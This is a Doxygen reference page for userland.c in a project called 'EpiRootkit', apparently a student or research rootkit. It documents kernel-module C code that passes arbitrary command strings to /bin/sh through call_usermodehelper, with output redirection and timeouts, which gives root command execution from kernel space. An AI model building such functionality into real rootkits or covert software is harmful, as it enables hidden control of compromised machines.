EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
userland.c File Reference
#include <linux/kmod.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/types.h>
#include "epirootkit.h"
Include dependency graph for userland.c:

Go to the source code of this file.

Functions

static char * trim_leading_whitespace (char *str)
 
static void detect_redirections (const char *cmd, bool *redirect_stdout, bool *redirect_stderr)
 
static char * build_timeout_prefix (int timeout)
 
static int build_full_command (char *buffer, size_t buffer_size, const char *timeout_cmd, const char *user_cmd, bool redirect_stdout, bool redirect_stderr, bool catch_stds, const char *stdout_file, const char *stderr_file)
 
static int execute_command (const char *cmd_str, char *envp[])
 
int exec_str_as_command_with_timeout (char *user_cmd, bool catch_stds, int timeout)
 

Function Documentation

◆ build_full_command()

static int build_full_command ( char *  buffer,
size_t  buffer_size,
const char *  timeout_cmd,
const char *  user_cmd,
bool  redirect_stdout,
bool  redirect_stderr,
bool  catch_stds,
const char *  stdout_file,
const char *  stderr_file 
)
static

build_full_command - Constructs the full shell command with redirections and timeout

Parameters
bufferDestination buffer to store the final command string
buffer_sizeSize of the destination buffer
timeout_cmdTimeout prefix command
user_cmdUser-supplied command
redirect_stdoutTrue if stdout is redirected
redirect_stderrTrue if stderr is redirected
catch_stdsTrue if we need to redirect output ourselves
stdout_fileFile to redirect stdout to (if needed)
stderr_fileFile to redirect stderr to (if needed) Return: 0 on success, -EINVAL if the resulting command exceeds buffer size.

Definition at line 71 of file userland.c.

75 {
76 const char *format;
77
78 if ((redirect_stderr && redirect_stdout) || !catch_stds) {
79 format = "%s %s";
80 return snprintf(buffer, buffer_size, format, timeout_cmd, user_cmd) >= buffer_size
81 ? -EINVAL
82 : 0;
83 }
84 else if (redirect_stderr) {
85 format = "%s %s > %s";
86 return snprintf(buffer, buffer_size, format, timeout_cmd, user_cmd,
87 stdout_file)
88 >= buffer_size
89 ? -EINVAL
90 : 0;
91 }
92 else if (redirect_stdout) {
93 format = "%s %s 2> %s";
94 return snprintf(buffer, buffer_size, format, timeout_cmd, user_cmd,
95 stderr_file)
96 >= buffer_size
97 ? -EINVAL
98 : 0;
99 }
100 else {
101 format = "%s %s > %s 2> %s";
102 return snprintf(buffer, buffer_size, format, timeout_cmd, user_cmd,
103 stdout_file, stderr_file)
104 >= buffer_size
105 ? -EINVAL
106 : 0;
107 }
108}

◆ build_timeout_prefix()

static char * build_timeout_prefix ( int  timeout)
static

build_timeout_prefix - Constructs a timeout command prefix

Parameters
timeoutTimeout duration in seconds

If timeout is greater than 0, constructs a timeout command with signal and status options.

Return: Dynamically allocated string with the timeout prefix or an empty string. Caller must kfree() the returned string.

Definition at line 44 of file userland.c.

44 {
45 if (timeout <= 0)
46 return kstrdup("", GFP_KERNEL);
47
48 const char *base_cmd = "timeout --signal=SIGKILL --preserve-status";
49 int size = snprintf(NULL, 0, "%s %d", base_cmd, timeout);
50 char *timeout_cmd = kzalloc(size + 1, GFP_KERNEL);
51 if (!timeout_cmd)
52 return NULL;
53
54 snprintf(timeout_cmd, size + 1, "%s %d", base_cmd, timeout);
55 return timeout_cmd;
56}

◆ detect_redirections()

static void detect_redirections ( const char *  cmd,
bool *  redirect_stdout,
bool *  redirect_stderr 
)
static

detect_redirections - Detects stdout and stderr redirection in a command string

Parameters
cmdCommand string to parse
redirect_stdoutSet to true if stdout is redirected
redirect_stderrSet to true if stderr is redirected

Definition at line 25 of file userland.c.

26 {
27 // __evann hates One Redirection
28 char *redirect_stderr_add = strstr(cmd, "2>");
29 char *redirect_stdout_add = strstr(cmd, ">");
30
31 *redirect_stderr = (redirect_stderr_add != NULL);
32 *redirect_stdout = (redirect_stdout_add != redirect_stderr_add && redirect_stdout_add != NULL);
33}

◆ exec_str_as_command_with_timeout()

int exec_str_as_command_with_timeout ( char *  user_cmd,
bool  catch_stds,
int  timeout 
)

exec_str_as_command_with_timeout - Executes a user command with optional timeout and output redirection

Parameters
user_cmdCommand string to execute
catch_stdsWhether to redirect stdout and stderr to predefined files
timeoutTimeout in seconds for the command; 0 means no timeout

Constructs the final command string with timeout and redirection logic, then executes it in usermode using the kernel's usermodehelper API.

Return: Exit status of the command, or negative error code on failure.

Definition at line 139 of file userland.c.

140 {
141 char *cmd_buffer = NULL;
142 char *timeout_cmd = NULL;
143 bool redir_stdout = false, redir_stderr = false;
144 int status = 0;
145
146 static char *envp[] = { "HOME=/", "TERM=xterm",
147 "PATH=/sbin:/bin:/usr/sbin:/usr/bin:/tmp", NULL };
148
149 user_cmd = trim_leading_whitespace(user_cmd);
150
151 cmd_buffer = kmalloc(STD_BUFFER_SIZE, GFP_KERNEL);
152 if (!cmd_buffer)
153 return -ENOMEM;
154
155 detect_redirections(user_cmd, &redir_stdout, &redir_stderr);
156
157 timeout_cmd = build_timeout_prefix(timeout);
158 if (!timeout_cmd) {
159 kfree(cmd_buffer);
160 return -ENOMEM;
161 }
162
163 status = build_full_command(cmd_buffer, STD_BUFFER_SIZE, timeout_cmd,
164 user_cmd, redir_stdout, redir_stderr, catch_stds,
166
167 if (status < 0) {
168 DBG_MSG("Command too long or invalid\n");
169 kfree(cmd_buffer);
170 kfree(timeout_cmd);
171 return status;
172 }
173
174 DBG_MSG("exec_str_as_command: executing command: %s\n", cmd_buffer);
175
176 status = execute_command(cmd_buffer, envp);
177 DBG_MSG("exec_str_as_command: command exited with status: %d\n", status);
178
179 kfree(cmd_buffer);
180 kfree(timeout_cmd);
181
182 return status;
183}
#define STDOUT_FILE
Definition config.h:57
#define STDERR_FILE
Definition config.h:58
#define DBG_MSG(fmt, args...)
Definition config.h:15
#define STD_BUFFER_SIZE
Definition config.h:68
static char * build_timeout_prefix(int timeout)
Definition userland.c:44
static int build_full_command(char *buffer, size_t buffer_size, const char *timeout_cmd, const char *user_cmd, bool redirect_stdout, bool redirect_stderr, bool catch_stds, const char *stdout_file, const char *stderr_file)
Definition userland.c:71
static void detect_redirections(const char *cmd, bool *redirect_stdout, bool *redirect_stderr)
Definition userland.c:25
static char * trim_leading_whitespace(char *str)
Definition userland.c:13
static int execute_command(const char *cmd_str, char *envp[])
Definition userland.c:116

◆ execute_command()

static int execute_command ( const char *  cmd_str,
char *  envp[] 
)
static

execute_command - Executes a shell command in usermode

Parameters
cmd_strFull shell command string to execute
envpArray of environment variables Return: Exit status of the command, or error code on failure.

Definition at line 116 of file userland.c.

116 {
117 char *argv[] = { "/bin/sh", "-c", (char *)cmd_str, NULL };
118 struct subprocess_info *sub_info;
119
120 sub_info = call_usermodehelper_setup(argv[0], argv, envp, GFP_KERNEL, NULL,
121 NULL, NULL);
122 if (!sub_info)
123 return -ENOMEM;
124
125 return call_usermodehelper_exec(sub_info, UMH_WAIT_PROC);
126}

◆ trim_leading_whitespace()

static char * trim_leading_whitespace ( char *  str)
static

trim_leading_whitespace - Remove leading whitespace from a string

Parameters
strInput string Return: Pointer to the first non-whitespace character.

Definition at line 13 of file userland.c.

13 {
14 while (*str == ' ' || *str == '\t' || *str == '\n')
15 str++;
16 return str;
17}